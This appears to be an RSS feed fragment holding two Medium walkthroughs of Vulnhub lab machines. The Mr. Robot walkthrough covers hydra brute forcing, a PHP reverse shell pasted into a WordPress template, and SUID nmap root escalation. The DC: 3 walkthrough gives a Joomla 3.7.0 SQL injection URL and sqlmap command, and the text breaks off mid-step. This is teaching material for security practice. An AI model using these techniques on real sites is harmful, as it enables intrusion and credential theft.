            <content:encoded><![CDATA[<h4>Walkthrough #2</h4><h3>Vulnhub Write-Up: — Mr. Robot: 1</h3><p>…Are you ready to join FSOCIETY?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m0WhaDKwpzt6fqsOOcCPig.jpeg" /><figcaption>Challenge: locate the 3 Flags, get root. FSOCIETY.</figcaption></figure><p>Welcome back. This week we’ll be trying to crack one of the classic boot 2 root challenges from the community over at <a href="https://vulnhub.com/">vulnhub.com</a>. This VM is based on the show Mr. Robot and is geared towards folks with a beginner or intermediate skill level. Let’s dive into the details of what we’ll be covering in this write-up and what you’ll need to follow along at home.</p><h3>Mr. Robot: 1</h3><p><strong>Challenge Specifications: <br></strong>This VM has <strong>three keys</strong> hidden in different locations. Your goal is to find all three. Each key is progressively difficult to find. The VM isn’t too difficult. There isn’t any advanced exploitation or reverse engineering. The level is <strong>considered beginner-intermediate</strong>.</p><p><strong>Release Information</strong>:</p><ul><li><strong>Name</strong>: Mr-Robot: 1</li><li><strong>Date release</strong>: 28 Jun 2016</li><li><strong>Author</strong>: <a href="https://www.vulnhub.com/author/leon-johnson,292/">Leon Johnson</a></li><li><strong>Series</strong>: <a href="https://www.vulnhub.com/series/mr-robot,84/">Mr-Robot</a></li></ul><p><strong>File Info:</strong></p><ul><li><strong>Filename</strong>: mrRobot.ova</li><li><strong>File size</strong>: 704MB</li><li><strong>MD5</strong>: BC02C42815EAC4E872D753E1FD12DDC8</li><li><strong>SHA1</strong>: DC0EB84DA4C62284C688590EE092868CE84A09AB</li></ul><p><strong>Download</strong>: <br><strong>[mrRobot.ova]<br></strong>(Size: 704MB)</p><ul><li><strong>Download (Mirror)</strong>: <a href="https://download.vulnhub.com/mrrobot/mrRobot.ova">https://download.vulnhub.com/mrrobot/mrRobot.ova</a></li><li><strong>Download (Torrent)</strong>: <a href="https://download.vulnhub.com/mrrobot/mrRobot.ova.torrent">https://download.vulnhub.com/mrrobot/mrRobot.ova.torrent</a> ( Magnet)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AaIF_WDUlmngpc0mGgTSbA.jpeg" /><figcaption>Hello Friend!</figcaption></figure><h3><strong>Phase 1: </strong>Reconnaissance</h3><p>We begin by running <strong>netdiscover </strong>-r &lt;target ip range&gt;&lt;/cidr&gt; which searches our specified ip range for any online hosts responding to the ARP request.</p><pre><strong># netdiscover -r 10.0.2.0/24</strong></pre><p><strong>Result</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/704/1*DReyP0ya93YOMLwywE9Fzg.png" /><figcaption>Target IP address @ 10.0.2.41</figcaption></figure><p>Once I’ve located the target IP, I like to stick it inside of a variable. If you like to write out IP address 100+ times, knock yourself out! For those of us who value our sanity, the following command will do the trick.</p><pre><strong># export ip=10.0.2.41</strong></pre><p><strong>[$Note~]</strong>: If your unsure if your variable assignment worked, use the echo command to check what <strong>$ip</strong> is currently holding:</p><pre><strong># echo $ip</strong></pre><p>Moving on…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hRQBIzUikhMkUyxh8u1rKw.jpeg" /><figcaption>Recon Summary: Target located @ 10.0.2.41.</figcaption></figure><h3><strong>Phase 2: </strong>Scanning Our Target (10.0.2.41)</h3><pre><strong># nmap -A -p- -v $ip</strong></pre><p><strong>Results(a)</strong>:</p><p>What ports are open?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/377/1*FNBBq2XKXEoRSxODMiDZPw.png" /><figcaption>Open Ports: 80/tcp (http); 443/tcp (https)</figcaption></figure><p><strong>Results(b)</strong>:</p><p>What services are running on those ports?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*QZtkA5c7sO3ty4FRAclIYg.png" /><figcaption>ssl-cert indicates self signed cert(untrusted)</figcaption></figure><p>Lets run <strong>nikto </strong>and see if we can get a better understanding of how the website is structured and see if it can locate any known web-server vulnerabilities.</p><pre><strong># nikto -h http://$ip:80</strong></pre><p><strong>Result</strong>:<br> After a little longer wait than usual, <strong>nikto </strong>finishes its scan and reveals a <strong>wordpress installation</strong> and it also located the WP admin login page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0DD9XLn4RoT6bLjWlrFTbA.png" /><figcaption>Nikto results port: 80</figcaption></figure><p>Lets see which of these pages and directories we’ll actually have access to without having to be logged into WordPress. Dirb is perfect for the job. Dirb will forcefully smash it’s way through the site, recording the server responses as it request pages from the target server.</p><p>[<strong>$Note~</strong>]: Incase you forgot, here are the server responses and what they mean:</p><blockquote><strong>100</strong>: Informational</blockquote><blockquote><strong>200</strong>: Success</blockquote><blockquote><strong>300</strong>: Redirect</blockquote><blockquote><strong>400</strong>: Client Error</blockquote><blockquote><strong>500</strong>: Server Error</blockquote><p>First we run dirb wrapped in the script command, and save the output to dirb.pwn.</p><pre><strong># script -a -c “dirb http://$ip:80” dirb80.pwn</strong></pre><p>This will run the command wrapped in quotes and save it to a file that you can name whatever you like. After a few minutes you should have your dirb results saved to your current directory. Look over the results as a whole, we’re only interested in the ones that show <strong>CODE:200,</strong> so let’s carve those out.</p><pre><strong># cat dirb80.pwn | grep 200</strong></pre><p><strong>Results</strong>(80 http):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/525/1*JeLkz9XiEvF5aPf-t_NBEQ.png" /><figcaption>(80):Dirb output for 200 responses on port 80</figcaption></figure><p><strong>Results</strong>(443 https): Adjust the above command for 443</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/495/1*zaGRRcjQlDMd9kJhdaohBw.png" /><figcaption>(443):Dirb output for 200 responses on port 443</figcaption></figure><p>I now have a rough idea of the how this site is structured. Let&#39;s take a look at the browser side and try gain access to an authorized Wordpress Users account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*C9r3aaDYuEk7RooGS51sTg.jpeg" /><figcaption>Too Slow my friend. . . lulz</figcaption></figure><h3><strong>Phase 3: Gaining Access</strong></h3><p>Let’s head over to <strong>http://10.0.2.41:80</strong> in the browser and see what we can find there.</p><p>We’re greeted with a message from Mr. Robot displayed by some sort of CLI running in the browser. Here is the output @ http://10.0.2.41:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SQiFtLMULX3fR06Jf-SglA.png" /></figure><p>We are also given a list of commands to try and run. Let’s run each command and analyze the output.</p><p><strong>Suggested Commands</strong> :</p><pre><strong>prepare</strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XudRctboBg2LXrAFUTCPGg.png" /><figcaption>Runs a short video in the browser</figcaption></figure><pre><strong>fsociety</strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*974zLxMahl1d57CinSOS6A.png" /><figcaption>This command runs another video and asks us if we are ready to join fscociety.</figcaption></figure><p>I’m not going to cover the rest of these commands as I expect if your following along that you’ll have tried them yourselves. I couldn’t find anything of value there, but if we check out the source HTML for <strong>http://10.0.2.41/</strong> we can extract some data that confirms our initial scan results.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UCDF3gW9ZjFiHq5-mFytbg.png" /><figcaption>wp-login.php is where we’ll be focusing our energy</figcaption></figure><p>Now were going to use <strong>wpscan </strong>on the command line to attempt to identify the version of WordPress, enumerate any usernames, plugins, and themes associated with the WP installation.</p><pre><strong># wpscan --url http://$ip/wordpress/ -e u,t,p</strong></pre><blockquote>Options: -e: <strong>(e)numerate</strong> (<strong>u</strong>)sers,(<strong>t</strong>)hemes,(<strong>p</strong>)lugins</blockquote><p><strong>Results(I)</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ddMRTuKpOoTvl-zCYib8SQ.png" /><figcaption>The first half of output has a ton of useful information!</figcaption></figure><p><strong>Results(II)</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dnU4B5LbgCUJ451sXRisEA.png" /><figcaption>No usernames or Plugins found?!?</figcaption></figure><p>I spent about an hour here trying to get wpscan to give me something useful to work with. It soon dawned on me that there must have been something that I overlooked. This is why I always save my initial scans. Upon reviewing the nikto and dirb scans for clues, I see that I’ve forgotten to check on that <strong>robots.txt</strong> file.</p><p>Let’s navigate to <strong>http://10.0.2.41/robots.txt</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/113/1*u1Kt3K2nlN7N7BPitTYlmg.png" /><figcaption>We stumble upon a dictionary file and our first key!</figcaption></figure><p>Before we forget, make sure to grab the first key, and store it somewhere for safe keeping:</p><blockquote><strong>key-1-of-3.txt: </strong>073403c8a58a1f80d943455fb30724b9</blockquote><p>Next, Download the <strong>fsocity.dic</strong> file from: http://10.0.2.41/fsocity.dic.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*-Ygdze-MWTBR6j3Ya7zYQQ.png" /><figcaption>Download this file to your pwd</figcaption></figure><p>I saw this file stuttering on its way into the directory, which made me think that it might be a rather large file. Let’s check the size on the command line real quick.</p><pre><strong># ls -Shal fsocity.dic</strong></pre><p><strong>Result:</strong></p><p>rw-r — r — 1 root root <strong>7.0M</strong> Nov 13 2015 fsocity.dic</p><p>At this point I can confirm it’s most definitely a large file(7.0M). Upon inspecting the file carefully, I noticed that some of the entries were duplicates. I found a good word to test and <strong>piped </strong>it to <strong>grep </strong>to check how many occurrences of the word it could find in the file.</p><pre><strong># cat fsocity.dic | grep Team</strong></pre><p><strong>Result:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/533/1*UoiBu-mcy8LC_V0W-B0sHg.png" /><figcaption>We have confirmed tons of duplicate entries for the one random word we choose. It’s safe to assume there are more than just this one!</figcaption></figure><p>We need a way to remove these duplicate entries from the file so we can effectively use it for brute forcing. We’re also going to be smart here and not start carving into the original <strong>fsocity.dic </strong>file. Lets just copy the entire file into another <strong>.dic</strong> file and remove all duplicates from this file. There’s always the chance that the dups were put there intentionally for some challenge related reason, if this is the case we’ll still have the original untouched and ready to use.</p><pre><strong># cat fsocity.dic &gt; filtered.dic</strong></pre><p>If your wondering how this command works and don’t know about redirect (&gt; &lt;)symbols, take a minute to learn. Its powerful, and easy to wrap your head around with practice:</p><blockquote>1.) The cat command <strong>concatenates all of the data within a specified file</strong> and prints it to <strong>standard output</strong>(console).</blockquote><blockquote>2.) The <strong>&gt;</strong> redirect symbol takes the concatenated file data before it can be sent to standard out and redirects the data into our new file!</blockquote><p>We need to do a little bash-foo to remove all duplicates from this new list of words. There are many ways to do this, this one happened to be the easiest for me to drill into my brain.</p><pre><strong>cat filtered.dic | sort | uniq &gt; filtered_list.dic</strong></pre><p>We now have a sorted dictionary file with no duplicates. Lets <strong>cat </strong>this filtered file to confirm that it worked. If the last few lines of output looks like this, your ready to move on.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/347/1*MpzVjG0xnTDFLM1x8liwFw.png" /><figcaption>The sort and uniq commands were successful</figcaption></figure><p>My hopes of using the new wordlist as a way to try and enumerate usernames from WordPress using <strong>wpscan</strong> were futile. At this point, it was starting to feel like I might be the one digging the rabbit holes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MtEEsUTWIEYQSXn0FO2h9w.jpeg" /><figcaption>The answer is everywhere…</figcaption></figure><h4>Thinking outside the (virtual)box:</h4><p>After a beer and some googling about the show, I realized an important fact that I had overlooked. This is a themed challenge. This is a show that has been on T.V. for years so there’s a good chance the usernames we’re looking for are the actual users from the show.</p><p>Google has provided us with our usernames.</p><p><a href="https://mrrobot.fandom.com/wiki/Category:Characters">Characters</a></p><p>Let’s use <strong>cewl </strong>to grab all of the text on the page and convert it into a one word per-line password file with the quickness!</p><pre><strong>cewl </strong><a href="https://mrrobot.fandom.com/wiki/Category:Characters"><strong>https://mrrobot.fandom.com/wiki/Category:Characters</strong></a><strong> &gt; usernames.txt</strong></pre><p>I noticed that both of the files, <strong>usernames.txt</strong> and <strong>filtered.dic</strong> both contained the main characters name <strong>elliot. </strong>I also noticed that the file <strong>filtered.dic </strong>seems to<strong> </strong>contain both usernames and passwords. This became much more apparent once the duplicates were removed. With a username to test, and a password file to use as a battering ram, we have everything we need to brute-force the shit out of the WP login page with <strong>hydra</strong>. Before we do that, let’s take a quick look at how we can confirm that this wordpress login is indeed vulnerable to a brute force style attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/385/1*wBW5E-zxIHEfLSVjxjcGQg.png" /><figcaption>http://10.0.2.41/wp-login.php</figcaption></figure><p>Most modern login auths will say something like, “<strong>The credentials you’ve entered are invalid!</strong>” when supplied a wrong username, password, or combination of the two. This WP login auth returns back the following message when supplied an invalid username, “<strong> Invalid Username!</strong>” This would indicate that there would be a different message if a correct username was supplied. Now we’ll use <strong>burpsuite </strong>and <strong>hydra </strong>to see why this is a bad idea!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*M8bpxxGyD4Plcp21Igb1Xw.png" /></figure><p>Were going to use burp suite to <strong>intercept</strong> the http request being sent from the server to the browser. In order to use <strong>hydra </strong>for brute forcing we need the parameters that are being passed to authenticate the username and password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r2m9j65aW6CWFFJaOc6veQ.png" /><figcaption>Username: <strong>KnockKnock </strong>Password: <strong>1234</strong></figcaption></figure><p>We’re after the parameters in blue on the bottom of the screen in the burp suite window. WordPress always uses these parameters for login, at least everyone that I’ve seen while doing these challenges. The username is being held in <strong>log, </strong>the password in <strong>pwd</strong>, and the submit button <strong>wp-submit </strong>parameter is <strong>Log+In. </strong>Now hydra will slam that username parameter with every entry in the usernames.txt file until it gives a response back telling us that the password we’ve entered for the username is incorrect. Here are the results.</p><pre><strong># hydra -L usernames.txt -p 1234 -t 10 -V $ip http-post-form -I ‘/wp-login.php:log=^USER^&amp;pwd=^PASS^wp-submit=Log+In:Invalid’</strong></pre><p><strong>Results</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ab1JmEpJe1w74pfasg4xxw.png" /><figcaption>We’ve found our username credential. <strong>Elliot</strong></figcaption></figure><p>This is outstanding! We now have a username <strong>Elliot</strong>. Hydra tested each name until it was able to verify a valid username. Now that we have the username, we’ll use wpscan to see if we can get logged into Elliots WP account.</p><pre><strong># wpscan --url http://$ip --usernames Elliot -P filtered.dic</strong></pre><p><strong>Results:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*pPyjPxCCoYUkndGKVjoAhQ.png" /><figcaption>We now have the WP login Credentials!</figcaption></figure><p>We’ve successfully extracted the username and password for the WP account. Username: <strong>Elliot</strong>; Password: <strong>ER28–0652; </strong>Time to log in and see what sort of privileges we have as this user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q6R8-LggwOjNWmMX-BryAA.jpeg" /><figcaption>Time to log in and see what we can do.</figcaption></figure><p>Once inside, my first thought was to check to see if this is an admin or standard user account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0WJTahTgHdgZjFU8s1qVmw.png" /><figcaption>We are currently logged into an administrator account. And we see info on another user account.</figcaption></figure><p>Now that we know what sort of stuff we can get away with, what do you say we go ahead and upload a reverse shell into the sites 404 error page? First, we need to grab the php-reverse-shell.php file which you can find pre-installed on Kali, if that’s what your using. Change the sections in the file marked <strong>// Change This. </strong>These fields need to reflect your local IP and a local listening port for us to spawn our shell<strong>. </strong>Mine looks like this after editing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*MX96AatpEMjwfRGy0ko1Kg.png" /><figcaption>Reverse shell from pentestmonkey</figcaption></figure><p>Now navigate to the Appearance tab in the WP dashboard, from there on the bottom, select Editor. From here we have the ability to edit the web pages being displayed by WordPress. You should see a <strong>404 Template(</strong>404.php<strong>)</strong> on the right side of the screen, click on that, erase everything in the editor and paste in the reverse shell code. To save it, click update file on the bottom of the page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YfPDtskYerKE2SUEPZI4Iw.png" /><figcaption>The file was edited successfully!</figcaption></figure><p>All that’s left to do is set up our <strong>netcat </strong>listener on the port we indicated in the reverse shell script, then navigate to 404.php page and we should have a shell on the server.</p><pre><strong># nc -nvlp 4444</strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/566/1*YEbJF-MPHEjIINzqVcTsWw.png" /><figcaption>Netcat is listening on port 4444</figcaption></figure><p>Now all we need to do is navigate to some non existent site and we should have a shell.</p><pre><strong>Url: http://10.0.2.41/idontexist</strong></pre><p><strong>Result</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*3cKtPTiDfjF-TYXJS1k5bQ.png" /><figcaption>Ppppppoped one! We now have a shell on the server!</figcaption></figure><h3><strong>Phase 4: </strong>Privilege Escalation</h3><p>Now that we have a shell on the box lets snoop around and see what we can find. First let’s look under the /home directory to see what’s in the servers user directories.</p><pre><strong># ls -Rhal /home/*</strong></pre><p><strong>Results:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*29pPJ1ZosRGWSF1Dxo-hww.png" /><figcaption>User robots directory contains our 2nd key and what looks to be a md5 password hash</figcaption></figure><p>The permissions on the left tell us that we can read the password file but seemingly have no access to do anything with the key file. Let’s investigate.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/401/1*514rQ_2En5h2dz86N7KFTA.png" /><figcaption>Ok now we need to crack this hash!</figcaption></figure><p>As you can see above, we are given the password hash for the user robot! I was feeling lazy and just went over to <a href="https://hashkiller.co.uk/Cracker">https://hashkiller.co.uk/Cracker</a> to crack this hash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*anSQMJwcOjoCPo8mJwOXZg.png" /><figcaption>Ok then. The password is the alphabet</figcaption></figure><p>Lets log in as robot and grab our 2nd key.</p><pre><strong># su robot; -&gt; then supply the password we cracked</strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/435/1*KjpjivjLxWb9R7Lp3_vY4A.png" /><figcaption>Onto the 2nd key</figcaption></figure><p>Here is the second key:</p><blockquote>Key-2-of-3.txt: 822c73956184f694993bede3eb39f959</blockquote><p>Now, we need to find a way to gain root access to the machine. Lets check which bits have the SUID bit on.</p><pre><strong># find / -perm -4000 2&gt;/dev/null</strong></pre><p><strong>Results:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/538/1*VO2EkNyDURVWw4Bp4OSh3g.png" /><figcaption>Older versions of nmap can be vulnerable to priv escalation</figcaption></figure><p>Lets see if this version of nmap has the interactive mode!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/616/1*3sv2w93tk5nH9uV5vZl4_Q.png" /><figcaption>Bingo!</figcaption></figure><p>I’ll show you why this interactive mode is dangerous when the SUID bit is turned on.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/539/1*IGrpwDc0IMNzLvHgkXh40w.png" /><figcaption>Pwned</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O8yzmVgIHUUY_gwQJH1zxQ.png" /><figcaption>Let’s grab this last key and call it a day.</figcaption></figure><p>Thanks for coming along on this journey with me. Let’s grab the last key and scratch another one in the win column.</p><blockquote>Key-3-of-3.txt: 04787ddef27c3dee1ee161b21670b4e4</blockquote><p>Proof Of Completion:</p><p>key-1-of-3.txt: 073403c8a58a1f80d943455fb30724b9<br>Key-2-of-3.txt: 822c73956184f694993bede3eb39f959<br>Key-3-of-3.txt: 04787ddef27c3dee1ee161b21670b4e4</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a1965253706c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Vulnerability Adventures: DC  3]]></title>
            <link>https://medium.com/@nickwilliams_/vulnerability-adventures-dc-3-416afe04c531?source=rss-a1a941d3e24b------2</link>
            <guid isPermaLink="false">https://medium.com/p/416afe04c531</guid>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[vulnhub]]></category>
            <dc:creator><![CDATA[Nick Williams]]></dc:creator>
            <pubDate>Mon, 26 Aug 2019 00:35:48 GMT</pubDate>
            <atom:updated>2019-09-19T05:33:01.137Z</atom:updated>
            <content:encoded><![CDATA[<h4>Walkthrough #1</h4><h3>Vulnhub Write-Up: — DC: 3</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GeSPJfdUq2VqL4xGL_3ObQ.jpeg" /><figcaption>A beginner level boot 2 root machine from <a href="https://www.vulnhub.com/">vulnhub</a>.com</figcaption></figure><p><strong>Concepts Covered</strong>:<br>Discovery of Target IP (<strong>netdiscover</strong>)<br>Scanning of Target IP (<strong>nmap</strong>)<br>Manual examination of HTTP services<br>Database Enumeration (<strong>sqlmap</strong>)<br>John the ripper to crack hashes (<strong>john</strong>)<br>Joomla Admin Login<br>Injection of PHP reverse shell via Joomla (<strong>php-reverse-shell.php</strong>)<br>Setting up reverse connection with netcat listener (<strong>netcat</strong>)<br>Linux Privilege escalation via exploitation of kernel (<strong>exploit-db</strong>)</p><p><strong>Target VM Information</strong>:<br>Target VM: <strong>DC_3</strong><br>Date released: <strong>March, 26th 2019</strong><br>Author: <strong>DCAU</strong><br>Series: <strong>DC</strong><br>Size: <strong>1025 MB</strong><br>Format: Virtual Machine (<strong>Virtualbox — OVA</strong>)<br>Difficulty: <strong>Beginnerish…</strong></p><p>I’ll be using Kali Linux inside of virtual box as my local OS for this write-up. You’re results may look a bit different if you’re using a different OS to follow along! Make sure your network settings are correct, and lets get cracking!</p><h4>Phase 1: Reconnaissance</h4><p>If we were in a real-world scenario, this phase might require a lot more effort on our parts. All we need to do is find the IP address of the machine that we already know is sitting on our network. This can be done by using the <strong>netdiscover</strong> tool from the command line.</p><p>[<strong>Tip</strong>]: An easy way to figure out the range that you should scan is to run ‘<strong>ifconfig</strong>’ from your local machine(Kali for me).</p><p><strong>Example</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/658/1*qXzjrKbLJmb515Nbr_D_qg.png" /></figure><p>The IP address of my Kali box is <strong>10.0.2.4</strong>. The netmask of<strong> 255.255.255</strong>.0 tells me that the network portion of the IP is <strong>10.0.2</strong>.x and also gives us the cidr address of <strong>/24</strong>. The <strong>-r</strong> option indicates we want to scan a -(<strong>r</strong>)ange of IP addresses.</p><p><strong>Command Used</strong>: netdiscover -r 10.0.2.0/24</p><p><strong>Result:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*ulb1fcJmhPN4VEjJvL9DiA.jpeg" /><figcaption>Our Target IP address: <strong>10.0.2.35</strong></figcaption></figure><p>[<strong>tip</strong>]: We know we’re going to have to type out this IP address over and over again, so let’s make our lives easier by sticking it in a variable.</p><p><strong>Command Used: </strong>export ip=10.0.2.35</p><p>Now we can access the address value with <strong>$ip .</strong></p><p><strong>Example</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/453/1*hgPyMAzevcnLSYQp78vJ8Q.png" /><figcaption>Sticking the ip address in a variable reduces the amount of typing on our end!</figcaption></figure><h4><strong>Phase 2: </strong>Scanning</h4><p>Now that we have our target IP address, we can move onto scanning the ports to see which are open, and what services are running on those ports.</p><p><strong>Command Used: </strong>nmap -A -p- -v $ip</p><p><strong>Option Breakdown:</strong></p><ul><li><strong>-A</strong>: Enable OS detection, version detection, script scanning, and traceroute</li><li><strong>-p-</strong>: Indicates we wish to scan all 65535 ports</li><li><strong>-v</strong>: Verbose output, this allows us to view the scan in real time</li></ul><p><strong>Results: </strong>Open Port(s) Discovered</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/401/1*RBwF7YQdDB0V_gqOD_XwMw.png" /><figcaption>One open port: <strong>80/tcp</strong></figcaption></figure><p><strong>Results II</strong>: Services running on open port(s)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/1*YnnGeiATGENmqxV_H0jHyg.png" /><figcaption><strong>Joomla OSCM</strong> running on port: 80</figcaption></figure><p>Next, we’ll run <strong>nikto</strong> against the web-server to look for any potential vulnerabilities or interesting directories/files. The <strong>-h</strong> option below indicates the -(<strong>h</strong>)ost we are trying to scan.</p><p><strong>Command Used</strong>: nikto -h http://$ip:80</p><p><strong>Result:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8Pg8XzN3eiAlwC-azEmRjQ.png" /><figcaption>Results of running nikto against port 80 of target machine</figcaption></figure><p>Before we head over to the browser to check out the web-page running on port 80, lets run <strong>dirb</strong> against the port.</p><p><strong>Command used: </strong>dirb <a href="http://$ip/">http://$ip:80</a></p><p><strong>Result:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*uUTLQs8IHGkkhkNISXU95w.png" /><figcaption>Results from dirb indicate that nikto’s finding were accurate and not false positives</figcaption></figure><p>At this point we know we have Joomla running as some sort of Open Source Content Management system on port 80. And from the looks of the past two results, it appears that we also have access to the Joomla administrator login page. It’s time to head over to <strong>Firefox</strong> to see what we can find on the website running on <strong>port 80</strong>.</p><h4>Phase 3: Gaining Access</h4><p><strong>Firefox Browser: </strong><a href="http://10.0.2.35/">http://10.0.2.35/</a></p><p>We are greeted with the DC-3 homepage and a message from the <strong>admin</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/997/1*875xo5VvJDThdWNBMh46qQ.png" /><figcaption>Homepage @ http://10.0.2.35</figcaption></figure><p>According to our initial scan results, there is also a page at <a href="http://10.0.2.35/administrator">http://10.0.2.35/administrator</a>, we head there next.</p><p><strong>Firefox Browser: </strong><a href="http://10.0.2.35/administrator">http://10.0.2.35/administrator</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*MwsgO2PkAphBUG4_J_m_Zg.png" /><figcaption>Login page for Joomla administrator access</figcaption></figure><p>We now have a possible attack vector if we can gain administrator access to the Joomla Content Management System. Before we can think about getting in, we need to know what version of Joomla the server is running. I couldn’t find any relevant version information in the source html code, so we’ll be using <strong>metasploit </strong>to fish out the version.</p><p><strong>Command(s) used</strong>:</p><ol><li>msfconsole -q (<strong>-q : open metasploit quietly</strong>)</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/473/1*5PfjPfKVqC155dE6gzqDKA.png" /><figcaption>metasploit prompt</figcaption></figure><p>2. search joomla</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FKyPRbCRTY6Amdt7Fs0b8Q.png" /><figcaption>We are looking for #9 <strong>joomla version scanner</strong></figcaption></figure><p>3. use 9<br>3a. show options</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/990/1*eqjJF0LUKxFVhS52fqdH7w.png" /><figcaption><strong>set</strong> the <strong>RHOST</strong> to 10.0.2.35</figcaption></figure><p>4. set RHOST 10.0.2.35<br>4a. exploit</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*5AzgZj8cn3Eh96ygDTIsog.png" /><figcaption>Server is running <strong>Joomla 3.7.0</strong></figcaption></figure><p><strong>Bingo</strong>! The server is running Joomla 3.7.0.</p><p>After doing a bit of research on this specific version of Joomla and any associated vulnerabilities, I came across this this interesting exploit at <a href="https://exploit-db.com/exploits/42033">https://exploit-db.com/exploits/42033</a>.</p><p># Exploit Title: <strong>Joomla 3.7.0 — Sql Injection</strong><br># Date: <strong>05–19–2017</strong><br># Exploit Author: <strong>Mateus Lino</strong><br># Reference: <a href="https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html"><strong>https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html</strong></a><br># Vendor Homepage: <a href="https://www.joomla.org/"><strong>https://www.joomla.org/</strong></a><br># Version: = <strong>3.7.0 # Tested on: Win, Kali Linux x64, Ubuntu, Manjaro and Arch Linux</strong><br># CVE : — CVE-2017–8917 URL Vulnerable: <a href="http://localhost/index.php?option=com_fields&amp;view=fields&amp;layout=modal&amp;list[fullordering]=updatexml%27"><strong>http://localhost/index.php?option=com_fields&amp;view=fields&amp;layout=modal&amp;list[fullordering]=updatexml%27</strong></a></p><p><strong>Using Sqlmap</strong>: sqlmap -u “http://localhost/index.php?option=com_fields&amp;view=fields&amp;layout=modal&amp;list[fullordering]=updatexml&quot; — risk=3 — level=5 — random-agent — dbs -p list[fullordering]</p><p>Shout out to <strong>Mateus Lino</strong> for coming through with this find and documenting it for us! He even provides us with the sqlmap command we need to use! To verify that we do have SQL injection, <strong>lets enter everything after the index.php? in the above sqlmap command into the browser</strong>.</p><p><strong>Firefox browser: </strong><a href="http://10.0.2.35/index.php?option=com_fields&amp;view=fields&amp;layout=modal&amp;list[fullordering]=updatexml%27">http://10.0.2.35/index.php?option=com_fields&amp;view=fields&amp;layout=modal&amp;list[fullordering]=updatexml%27</a></p><p><strong>Result:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1009/1*0MaID_v0OBch8AMA2QgGRQ.png" /><figcaption>The error indicates SQL injection is possible!</figcaption></figure><p>The error we receive indicates that the site is in fact vulnerable to SQL injection! Lets move onto <strong>sqlmap</strong> to see if we can gain access to the database.</p><p><strong>Command Used: </strong>sqlmap -u “http://<strong>10.0.2.35</strong>/index.php?option=com_fields&amp;view=fields&amp;layout=modal&amp;list[fullordering]=updatexml&quot; --risk=3 --level=5 --random-agent --dbs -p list[fullordering]</p><p><strong>Results(Part 1): </strong>Right away we see that the back-end may be <strong>mysql</strong></p><figure><img 